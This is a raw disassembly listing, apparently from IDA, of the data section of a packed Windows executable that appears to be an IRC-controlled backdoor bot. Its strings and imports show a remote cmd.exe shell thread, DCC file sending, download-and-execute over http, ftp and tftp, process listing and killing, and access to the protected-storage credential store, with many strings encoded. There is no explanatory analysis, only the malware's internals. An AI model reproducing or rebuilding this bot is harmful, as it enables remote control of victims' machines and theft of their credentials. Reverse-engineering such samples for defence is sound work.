dword_41217C dd 77C37ADCh ; DATA XREF: sub_41157Cr
dword_412180 dd 77C2AC58h ; DATA XREF: sub_411576r
dword_412184 dd 77C438C0h ; DATA XREF: sub_411570r
dword_412188 dd 77C3C93Ch ; DATA XREF: sub_41152Er
dword_41218C dd 77C43AB0h ; DATA XREF: sub_411528r
dword_412190 dd 77C3E8C0h ; DATA XREF: sub_411522r
dword_412194 dd 77C1BE00h ; DATA XREF: sub_41151Cr
dword_412198 dd 77C3E140h ; DATA XREF: sub_411516r
dword_41219C dd 77C3DFB5h ; DATA XREF: sub_411510r
dword_4121A0 dd 77C3BF06h ; DATA XREF: sub_411506r
dword_4121A4 dd 77C3D8F6h ; DATA XREF: sub_411500r
dword_4121A8 dd 77C3E4B9h ; DATA XREF: sub_4114FAr
dword_4121AC dd 77C3E303h ; DATA XREF: sub_4114F4r
dword_4121B0 dd 77C41FB0h ; DATA XREF: sub_4114EEr
dword_4121B4 dd 77C43490h ; DATA XREF: sub_4114E8r
dword_4121B8 dd 77C46553h ; DATA XREF: sub_4114E2r
dword_4121BC dd 77C3C813h ; DATA XREF: sub_4114DCr
dword_4121C0 dd 77C43900h ; DATA XREF: sub_4114D6r
dword_4121C4 dd 77C42E10h ; DATA XREF: sub_4114D0r
dword_4121C8 dd 77C2AA6Bh ; DATA XREF: sub_4114CAr
dword_4121CC dd 77C2AC46h ; DATA XREF: sub_4114C4r
dword_4121D0 dd 77C43710h ; DATA XREF: sub_4114BEr
dword_4121D4 dd 77C421A2h ; DATA XREF: sub_411924r
dd 0
dword_4121DC dd 800000C8h ; DATA XREF: sub_4117FE+44r
dd 0
dword_4121E4 dd 12E28h ; DATA XREF: sub_4018D5+28r
; sub_402230+50Dr ...
dd 0
dword_4121EC dd 12CDEh ; DATA XREF: sub_404FEB+9Fr
; sub_40682C+50r ...
dword_4121F0 dd 12CEAh ; DATA XREF: sub_407A76+D6r
; sub_410999+4Br
dword_4121F4 dd 12CFCh ; DATA XREF: sub_407A76+CFr
dword_4121F8 dd 12D12h ; DATA XREF: sub_409835+7r
dword_4121FC dd 12D20h ; DATA XREF: sub_409843+5Ar
dword_412200 dd 12D30h ; DATA XREF: sub_4101E6+3E9r
align 8
dword_412208 dd 71AB3E5Dh ; DATA XREF: sub_403B44+8Br
; sub_403C04+B9r ...
dword_41220C dd 71AB1B7Bh ; DATA XREF: sub_4117E8r
dword_412210 dd 71AB8629h ; DATA XREF: sub_403D70+6r
; sub_40E707+110r ...
dword_412214 dd 71AB1890h ; DATA XREF: sub_403767+12Dr
; sub_403A1B+81r ...
dword_412218 dd 71AB3F8Dh ; DATA XREF: sub_403644+B8r
; sub_403EA9+5Dr ...
dword_41221C dd 71AB3ECEh ; DATA XREF: sub_403644+C5r
; sub_40DE9A+AAr ...
dword_412220 dd 71AB1AF4h ; DATA XREF: sub_403D9D+Er
; sub_407A76+FB7r ...
dword_412224 dd 71ABF628h ; DATA XREF: sub_4034DE+1Er
; sub_40357F+1Er
dword_412228 dd 71AB155Ah ; DATA XREF: sub_40344B+1Ar
; sub_40346D+Fr
dword_41222C dd 71AB3C22h ; DATA XREF: sub_403366+7r
; sub_403644+83r ...
dword_412230 dd 71AB401Ch ; DATA XREF: sub_402C11+4Fr
; sub_40544F+154r ...
dword_412234 dd 71ABD755h ; DATA XREF: sub_402C11+86r
; sub_4072FC+1A4r
dword_412238 dd 71AB1740h ; DATA XREF: sub_402C11:loc_402CD9r
; sub_403B44+96r ...
dword_41223C dd 71AB868Dh ; DATA XREF: sub_403767+89r
; sub_403767+1A3r
dword_412240 dd 71AB1A6Dh ; DATA XREF: sub_403D92+4r
; sub_407A76+FBEr ...
dword_412244 dd 71AB350Dh ; DATA XREF: sub_402A12+38r
; sub_402A12+12Er ...
dword_412248 dd 71AB1746h ; DATA XREF: sub_402A12+91r
; sub_402A12+168r ...
dword_41224C dd 71AB2BBFh ; DATA XREF: sub_402A12+E8r
; sub_403EA9+B6r ...
dword_412250 dd 71AB157Eh ; DATA XREF: sub_401B81+7Dr
; sub_40348C+1Er ...
dword_412254 dd 71AB12F8h ; DATA XREF: sub_401B81+163r
; sub_403EA9+A1r ...
dword_412258 dd 71AB5690h ; DATA XREF: sub_401985+CFr
; sub_403DB2+1Ar ...
dword_41225C dd 71AB12A7h ; DATA XREF: sub_401985+FEr
; sub_401B81+16Ar
dword_412260 dd 71AB1ED3h ; DATA XREF: sub_403EA9+59Fr
; sub_40DE9A+121r
dword_412264 dd 71AB1836h ; DATA XREF: sub_4050D1+202r
; sub_4052DF+DFr ...
dword_412268 dd 71AB1444h ; DATA XREF: sub_40DE9A+19Ar
dword_41226C dd 71AB14DCh ; DATA XREF: sub_410C55+D8r
dword_412270 dd 71AB32CAh ; DATA XREF: sub_410C55+6Br
dword_412274 dd 71AB41DAh ; DATA XREF: sub_4111E8+1A6r
dword_412278 dd 71AB5DE2h ; DATA XREF: sub_403644+D3r
align 10h
flt_412280 dd 1.0e-3 ; DATA XREF: sub_401985+18Er
; sub_401985+1B0r ...
flt_412284 dd 9.765625e-4 ; DATA XREF: sub_40656A+1A6r
dword_412288 dd 0FFFFFFFFh, 406C2Dh, 406C43h, 0 ; DATA XREF: sub_406BBC+5o
dword_412298 dd 0FFFFFFFFh, 406D26h, 406D3Eh, 0 ; DATA XREF: sub_406CB2+5o
dword_4122A8 dd 0FFFFFFFFh, 411474h, 41148Ah, 0 ; DATA XREF: sub_4111E8+5o
dd offset loc_411440
dd offset loc_411456
dd offset dword_412300
off_4122C4 dd offset sub_4118B5 ; DATA XREF: sub_411883+12o
; .packed:004118EAo ...
dd offset dword_412348
off_4122CC dd offset sub_411936 ; DATA XREF: .packed:off_419180o
; .packed:off_4191A0o
off_4122D0 dd offset off_419180 ; DATA XREF: .packed:004122E8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_4122D0
dword_4122EC dd 3 dup(0) ; DATA XREF: .packed:00412310o
dd 1, 4122E8h
dword_412300 dd 3 dup(0) ; DATA XREF: .packed:004122C0o
dd offset off_419180
dd offset dword_4122EC+4
align 8
off_412318 dd offset off_4191A0 ; DATA XREF: .packed:00412330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_412318
dd 0
db 0 ; DATA XREF: .packed:00412358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 412330h
dword_412348 dd 3 dup(0) ; DATA XREF: .packed:004122C8o
dd offset off_4191A0
dd offset unk_412338
align 10h
dword_412360 dd 19930520h, 4, 412380h, 5 dup(0) ; DATA XREF: .packed:loc_411980o
dd 0FFFFFFFFh, 411960h, 0
dd offset loc_411968
dd 1, 411970h, 2, 411978h, 0
dd offset off_419180
dd 0
dd 0FFFFFFFFh, 0
dd 10h, 4118D1h, 0
dword_4123C0 dd 1, 4123A0h ; DATA XREF: .packed:004123D4o
dword_4123C8 dd 0 ; DATA XREF: sub_41185F+19o
dd offset sub_4118FE
dd 0
dd offset dword_4123C0
db 90h
db 25h, 1, 0
dd 2 dup(0)
dd 128C0h, 12118h, 12680h, 2 dup(0)
dd 128D8h, 12208h, 124A8h, 2 dup(0)
dd 12CD0h, 12030h, 12664h, 2 dup(0)
dd 12D46h, 121ECh, 12478h, 2 dup(0)
dd 12E1Ah, 12000h, 1265Ch, 2 dup(0)
dd 12E38h, 121E4h, 12654h, 2 dup(0)
dd 12E9Eh, 121DCh, 5 dup(0)
dd 12D72h, 12D60h, 12D82h, 12D92h, 12DA6h, 12DB8h, 12DCAh
dd 12DDAh, 12DF0h, 12E02h, 12D52h, 0
dd 12B26h, 12B16h, 12B04h, 12AECh, 12AE0h, 12AC8h, 12ABAh
dd 12AACh, 12A9Eh, 12A88h, 12A72h, 12A62h, 12A50h, 12A42h
dd 12A36h, 12A26h, 12A1Ah, 12A0Ch, 129FEh, 12B3Ah, 129D8h
dd 129C6h, 129B6h, 129A0h, 12994h, 1296Ah, 12954h, 12946h
dd 12932h, 1292Ah, 12916h, 12908h, 128F2h, 12E92h, 128E4h
dd 12C2Ah, 12C3Ah, 12C4Ch, 12C5Ch, 12B50h, 12B66h, 12B76h
dd 12B86h, 12BA2h, 12BBCh, 12BCCh, 12BDEh, 12BFAh, 1297Eh
dd 12C12h, 129EAh, 12CC0h, 12CB0h, 12CA4h, 12C98h, 12C7Eh
dd 12C72h, 0
dd 12E50h, 12E58h, 12E64h, 12E7Ah, 128ACh, 128A0h, 12896h
dd 1288Ch, 12882h, 126F8h, 12878h, 12870h, 12868h, 1285Ah
dd 12850h, 12846h, 1283Ch, 12832h, 12822h, 12812h, 12806h
dd 127F4h, 127E0h, 127D8h, 127D0h, 127C8h, 127BEh, 127B4h
dd 127A8h, 1279Eh, 12794h, 1278Ch, 12784h, 1277Ch, 12774h
dd 1276Ah, 12760h, 12758h, 1274Eh, 12744h, 1273Ch, 12732h
dd 12728h, 1271Eh, 12716h, 1270Ch, 12702h, 12E44h, 0
dd 800000C8h, 0
dd 12E28h, 0
dd 12CDEh, 12CEAh, 12CFCh, 12D12h, 12D20h, 12D30h, 0
dd 80000004h, 80000097h, 80000016h, 80000012h, 80000015h
dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h
dd 8000000Ch, 80000033h, 8000006Fh, 80000001h, 80000003h
dd 80000070h, 80000009h, 80000034h, 80000006h, 8000000Bh
dd 80000010h, 80000008h, 80000014h, 80000074h, 80000011h
dd 128CCh, 80000039h, 80000073h, 8000000Dh, 0
db 0BAh ; º
db 2, 73h, 74h
aRcpy db 'rcpy',0
align 2
dw 2BEh
aStrlen db 'strlen',0
align 4
db 91h ; ‘
db 2, 6Dh, 61h
aLloc db 'lloc',0
align 2
dw 25Eh
aFree db 'free',0
align 2
dw 297h
aMemcpy db 'memcpy',0
align 4
db 0C1h ; Á
db 2, 73h, 74h
aRncpy db 'rncpy',0
dw 2B2h
aSprintf db 'sprintf',0
db 43h ; C
db 2, 63h, 6Ch
db 6Fh ; o
db 63h, 6Bh, 0
db 99h ; ™
db 2, 6Dh, 65h
aMset db 'mset',0
align 2
dw 2B6h
aStrcat db 'strcat',0
align 4
db 64h ; d
db 2, 66h, 74h
db 65h ; e
db 2 dup(6Ch), 0
db 66h ; f
db 2, 66h, 77h
aRite db 'rite',0
align 2
dw 24Ch
aFclose db 'fclose',0
align 4
db 57h ; W
db 2, 66h, 6Fh
db 70h ; p
db 65h, 6Eh, 0
db 5Dh ; ]
db 2, 66h, 72h
db 65h ; e
db 61h, 64h, 0
db 62h ; b
db 2, 66h, 73h
db 65h ; e
db 65h, 6Bh, 0
db 3Dh ; =
db 2, 61h, 74h
db 6Fh ; o
db 69h, 2 dup(0)
db 0B5h ; µ
db 2, 2 dup(73h)
aCanf db 'canf',0
align 2
dw 2C5h
aStrstr db 'strstr',0
align 4
db 0AEh ; ®
db 1, 5Fh, 73h
aNprintf db 'nprintf',0
db 0C0h ; À
db 2, 73h, 74h
aRncmp db 'rncmp',0
dw 2A7h
aRealloc db 'realloc',0
db 49h ; I
db 2, 65h, 78h
db 69h ; i
db 74h, 2 dup(0)
db 0F1h ; ñ
align 2
a_ftol db '_ftol',0
db 41h ; A
db 2, 63h, 65h
db 69h ; i
db 6Ch, 2 dup(0)
; ---------------------------------------------------------------------------
retf 5F00h
; ---------------------------------------------------------------------------
aExcept_handler db 'except_handler3',0
align 4
aJ db '¦',0
a_beginthreadex db '_beginthreadex',0
align 2
dw 2DCh
aVsprintf db 'vsprintf',0
align 2
dw 10h
db 3Fh ; ?
db 3Fh, 33h, 40h
db 59h ; Y
db 41h, 58h, 50h
db 41h ; A
db 58h, 40h, 5Ah
db 0
align 2
dw 0Fh
db 3Fh ; ?
db 3Fh, 32h, 40h
db 59h ; Y
db 41h, 50h, 41h
db 58h ; X
db 49h, 40h, 5Ah
db 0
align 2
dw 29Eh
aPrintf db 'printf',0
align 4
db 0B8h ; ¸
db 2, 73h, 74h
aRcmp db 'rcmp',0
align 2
dw 2D3h
aTolower db 'tolower',0
db 96h ; –
db 2, 6Dh, 65h
aMcmp db 'mcmp',0
align 2
dw 1E1h
a_vsnprintf db '_vsnprintf',0
align 4
db 9Bh ; ›
db 1, 5Fh, 72h
db 6Fh ; o
db 74h, 6Ch, 0
db 9Ch ; œ
db 1, 5Fh, 72h
db 6Fh ; o
db 74h, 72h, 0
db 98h ; ˜
db 2, 6Dh, 65h
aMmove db 'mmove',0
dw 2E6h
aWcslen db 'wcslen',0
align 4
db 0E3h ; ã
db 2, 77h, 63h
aScpy db 'scpy',0
align 2
dw 2BFh
aStrncat db 'strncat',0
db 93h ; “
db 2, 6Dh, 62h
aStowcs db 'stowcs',0
align 4
aI db 'I',0
a__cxxframehand db '__CxxFrameHandler',0
aMsvcrt_dll db 'MSVCRT.dll',0
align 4
db '(',0
aWsaioctl db 'WSAIoctl',0
align 4
aWs2_32_dll_0 db 'WS2_32.dll',0
align 4
db '|',0
aDeletefilea db 'DeleteFileA',0
dw 30Eh
aSetfileattribu db 'SetFileAttributesA',0
align 4
a__0 db '.',0
aClosehandle db 'CloseHandle',0
dw 351h
aTerminateproce db 'TerminateProcess',0
align 2
dw 349h
aSleep db 'Sleep',0
dw 2AEh
aReadprocessmem db 'ReadProcessMemory',0
dw 27Ch
aOpenprocess db 'OpenProcess',0
db 75h ; u
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 177h
aGetmodulehandl db 'GetModuleHandleA',0
align 2
dw 13Bh
aGetcurrentproc db 'GetCurrentProcessId',0
db 0ABh ; «
db 2, 52h, 65h
aAdfile db 'adFile',0
align 10h
db 52h ; R
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 287h
aPeeknamedpipe db 'PeekNamedPipe',0
db '`',0
aCreateprocessa db 'CreateProcessA',0
align 4
aM db 'Œ',0
aDuplicatehandl db 'DuplicateHandle',0
dw 13Ah
aGetcurrentpr_0 db 'GetCurrentProcess',0
a__1 db '_',0
aCreatepipe db 'CreatePipe',0
align 4
dd 655302D0h, 68637261h, 68746150h, 3970041h, 74697257h
dd 6C694665h, 1690065h, 4C746547h, 45747361h, 726F7272h
dd 3D0000h, 79706F43h, 656C6946h, 0AF0041h, 74697845h
dd 636F7250h, 737365h, 65470198h, 6F725074h, 64644163h
dd 73736572h, 2480000h, 64616F4Ch, 7262694Ch, 41797261h
dd 26B0000h
aMultibytetowid db 'MultiByteToWideChar',0
db 0B9h ; ¹
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 314h
aSetfiletime db 'SetFileTime',0
db 5Dh ; ]
db 1, 47h, 65h
aTfiletime db 'tFileTime',0
aM_0 db 'M',0
aCreatefilea db 'CreateFileA',0
db 0E9h ; é
db 1, 47h, 65h
aTwindowsdirect db 'tWindowsDirectoryA',0
align 10h
db 0BFh ; ¿
db 3, 6Ch, 73h
aTrlena db 'trlenA',0
align 4
db 0FFh
db 2, 53h, 65h
aTcurrentdirect db 'tCurrentDirectoryA',0
align 4
dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h
dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h
dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 10h
db 46h ; F
db 1, 47h, 65h
aTdiskfreespace db 'tDiskFreeSpaceExA',0
dw 14Bh
aGetdrivetypea db 'GetDriveTypeA',0
dw 1D5h
aGettickcount db 'GetTickCount',0
align 2
dw 29Ah
aQueryperforman db 'QueryPerformanceFrequency',0
dw 299h
aQueryperform_0 db 'QueryPerformanceCounter',0
dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h
dd 54657461h, 61657268h, 2190064h
aInitializecr_0 db 'InitializeCriticalSection',0
aP db '',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 247h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aI_0 db 'i',0
aCreatethread db 'CreateThread',0
align 2
dw 365h
aUnmapviewoffil db 'UnmapViewOfFile',0
db 5Eh ; ^
db 2, 4Dh, 61h
aPviewoffile db 'pViewOfFile',0
aN db 'N',0
aCreatefilemapp db 'CreateFileMappingA',0
align 2
dw 3B3h
aLstrcmpa db 'lstrcmpA',0
align 2
dw 150h
aGetenvironment db 'GetEnvironmentVariableA',0
db 0BCh ; ¼
db 3, 6Ch, 73h
aTrcpyna db 'trcpynA',0
db 0B9h ; ¹
db 3, 6Ch, 73h
aTrcpya db 'trcpyA',0
align 10h
aZ db 'Z',0
aCreatemutexa db 'CreateMutexA',0
align 10h
db 0Ah
db 3, 53h, 65h
aTerrormode db 'tErrorMode',0
align 10h
aKernel32_dll_0 db 'KERNEL32.dll',0
align 2
dw 2D5h
aWsprintfa db 'wsprintfA',0
dw 177h
aGetwindowtexta db 'GetWindowTextA',0
align 4
db 17h
db 1, 47h, 65h
aTforegroundwin db 'tForegroundWindow',0
aU_1 db 'ã',0
aFindwindowa db 'FindWindowA',0
db 3Ah ; :
db 2, 53h, 65h
aNdmessagea db 'ndMessageA',0
align 10h
db 97h ; —
db 1, 49h, 73h
aCharalphanumer db 'CharAlphaNumericA',0
aUser32_dll db 'USER32.dll',0
align 2
dw 1C9h
aRegclosekey db 'RegCloseKey',0
dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1E20041h
dd 4F676552h, 4B6E6570h, 78457965h, 1D90041h, 45676552h
dd 566D756Eh, 65756C61h, 1EC0041h, 51676552h, 79726575h
dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h
dd 4565756Ch, 4178h, 655201CDh, 65724367h, 4B657461h, 78457965h
dd 1230041h, 55746547h, 4E726573h, 41656D61h, 0A00000h
aCryptreleaseco db 'CryptReleaseContext',0
aC db '–',0
aCryptgenrandom db 'CryptGenRandom',0
align 2
aE db '…',0
aCryptacquireco db 'CryptAcquireContextA',0
align 2
aAdvapi32_dll db 'ADVAPI32.dll',0
align 4
db 7
db 1, 53h, 68h
aEllexecutea db 'ellExecuteA',0
aShell32_dll db 'SHELL32.dll',0
db 0BDh ; ½
db 1, 5Fh, 73h
aTrcmpi db 'trcmpi',0
align 10h
db 34h ; 4
db 1, 5Fh, 69h
db 74h ; t
db 6Fh, 61h, 0
db 0C5h ; Å
db 1, 5Fh, 73h
aTrnicmp db 'trnicmp',0
aA_0 db 'A',0
a_cxxthrowexcep db '_CxxThrowException',0
align 2
dw 0Eh
a??1type_info@@ db '??1type_info@@UAE@XZ',0
align 2
dw 252h
aLocalfree db 'LocalFree',0
aOleaut32_dll db 'OLEAUT32.dll',0
align 4
dd 55h dup(0)
off_413000 dd offset dword_413098 ; DATA XREF: sub_401000+Cr
; sub_401000+1Co
dd offset dword_41305C
dd offset dword_413040
dd offset dword_413014
dd 0
dword_413014 dd 0AFCB978Dh, 0B4E2AB90h, 0E38DB8CCh, 8DEAD4EAh, 94EABAB0h
; DATA XREF: .packed:0041300Co
dd 83DBB5B9h, 0E89089E5h, 8EC6D2F0h, 9AEB8282h, 2 dup(0)
dword_413040 dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0B4C4BAB8h
; DATA XREF: .packed:00413008o
dd 0A399h, 0
dword_41305C dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h
; DATA XREF: .packed:00413004o
dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h, 98D795A7h
dd 0F3AD96D7h, 90CCF3EAh, 9EFBA7A8h, 0A6h, 0
dword_413098 dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h
; DATA XREF: .packed:off_413000o
dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h, 98D795A7h
dd 0F3AD96D7h, 0EAh, 0
dword_4130CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
; DATA XREF: sub_4011C4+2CAo
dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
dd 2E0203h
dword_4130F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
; DATA XREF: sub_4011C4+2B1o
dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41311C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
; DATA XREF: sub_4011C4+215o
dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_413144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh
; DATA XREF: sub_4011C4+46o
dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
dd 2037325h, 3Ah
dword_413174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
; DATA XREF: sub_4014B0+6Co
dd 2343003h, 2037325h, 0
aKilling db 'Killing',0 ; DATA XREF: sub_4014B0+65o
aListing db 'Listing',0 ; DATA XREF: sub_4014B0+5Bo
dword_4131A4 dd 303h ; DATA XREF: sub_401571+91o
aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401621+25Fo
aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401621+24Co
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401621+4Ao
aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_4018D5+9Co
align 4
asc_413214 db 0Dh,0Ah,0 ; DATA XREF: sub_4018D5+84o
; sub_402EFD+148o ...
align 4
aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_4018D5+6Bo
align 4
aOpen db 'open',0 ; DATA XREF: sub_4018D5+22o
; sub_402230+507o ...
align 4
dword_413234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
; DATA XREF: sub_401985+1C7o
dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h
dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_413280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h
; DATA XREF: sub_401985+BCo
dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h
dd 20373h
dword_4132AC dd 6277h ; DATA XREF: sub_401985+3Co
; sub_402018+12Do ...
dword_4132B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
; DATA XREF: sub_401B81+2D0o
dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h
dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
dd 732F424Bh, 6365h
dword_4132F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
; DATA XREF: sub_401B81+250o
dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h
dd 6465h
dword_413320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh
; DATA XREF: sub_401B81+1C7o
dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_413348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
; DATA XREF: sub_401B81+17Eo
dd 1642520h, 0
aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_401B81+147o
align 4
aRb db 'rb',0 ; DATA XREF: sub_401B81+EBo
; sub_404DAD+62o ...
align 4
dword_41337C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
; DATA XREF: sub_401EA8+E2o
dd 206D6F72h, 2343003h, 2037325h, 0
dword_4133A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
; DATA XREF: sub_401FA3+5Do
dd 2343003h, 2037325h, 0
aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402018+D7o
align 4
aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402018+AFo
align 4
asc_4133EC db 0Dh,0Ah ; DATA XREF: sub_402018+92o
db 0Dh,0Ah,0
align 4
aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402018+40o
; sub_4063E4+BAo
db 'Host: %s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
unk_413414 db 2Dh ; - ; DATA XREF: sub_402230+573o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aUnsupportedPro db '- Unsupported protocol specified.',0
align 10h
dword_413440 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h
; DATA XREF: sub_402230+549o
dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
dd 2E020373h, 0
dword_413470 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h
; DATA XREF: sub_402230+533o
dd 61747320h, 3207472h, 25023430h, 2E020373h, 0
dword_413498 dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h
; DATA XREF: sub_402230+4C9o
dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
dd 732F424Bh, 73256365h, 2Eh
dword_4134E0 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402230+476o
dword_4134EC dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402230+46Co
unk_4134F8 db 2Dh ; - ; DATA XREF: sub_402230+34Do
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aNoFileToDownlo db '- No file to download specified.',0
align 4
asc_413524: ; DATA XREF: sub_402230+332o
unicode 0, </>,0
asc_413528: ; DATA XREF: sub_402230+2D0o
; sub_4101E6+334o
unicode 0, <:>,0
a69 db '69',0 ; DATA XREF: sub_402230+280o
align 10h
aTftp db 'tftp://',0 ; DATA XREF: sub_402230+262o
aAnonymous db 'anonymous',0 ; DATA XREF: sub_402230+22Fo
align 4
a21 db '21',0 ; DATA XREF: sub_402230+20Fo
align 4
aFtp db 'ftp://',0 ; DATA XREF: sub_402230+1F5o
align 10h
a80 db '80',0 ; DATA XREF: sub_402230+1BFo
; sub_4033F9+28o ...
align 4
aHttp db 'http://',0 ; DATA XREF: sub_402230+1A5o
dword_41355C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h
; DATA XREF: sub_402230+10Do
dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
dd 2E020373h, 0
dword_41358C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h
; DATA XREF: sub_402230+F4o
dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
dd 20656C69h, 2343003h, 2037325h, 2Eh
dword_4135C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402230+ABo
dword_4135CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh
; DATA XREF: sub_402230+98o
dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h
dd 2E020373h, 0
dword_4135FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
; DATA XREF: sub_4027CB+97o
dd 206F7420h, 2343003h, 2037325h, 0
dword_413620 dd 6578652Eh, 0 ; DATA XREF: sub_4027CB+3Fo
; sub_40E496+44o
aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40287C:loc_402A00o
; sub_407A76+C17o
align 4
aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40287C+17Do
; sub_407A76:loc_408D31o
align 4
dword_41364C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40287C+104o
aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
db 'GS=%08X. Code: %08X (%s). %s...',0
align 4
aContinuing db 'Continuing',0 ; DATA XREF: sub_40287C+B3o
align 4
aRestarting db 'Restarting',0 ; DATA XREF: sub_40287C+ACo
align 4
aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40287C:loc_40291Fo
align 4
aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40287C:loc_402918o
align 4
aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40287C+95o
align 10h
aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
; DATA XREF: sub_40287C:loc_4028EAo
align 4
aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40287C:loc_4028E3o
align 4
aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40287C:loc_4028DCo
align 4
aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40287C+59o
align 4
aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40287C+34o
aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_402D7B+172o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_402D7B:loc_402EE2o
aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_402D7B+15Ao
align 4
aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_402D7B:loc_402ECAo
aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_402D7B+108o
align 4
aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_402D7B+FBo
aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_402D7B+F3o
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_402D7B:loc_402E65o
align 4
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_402D7B+D8o
align 4
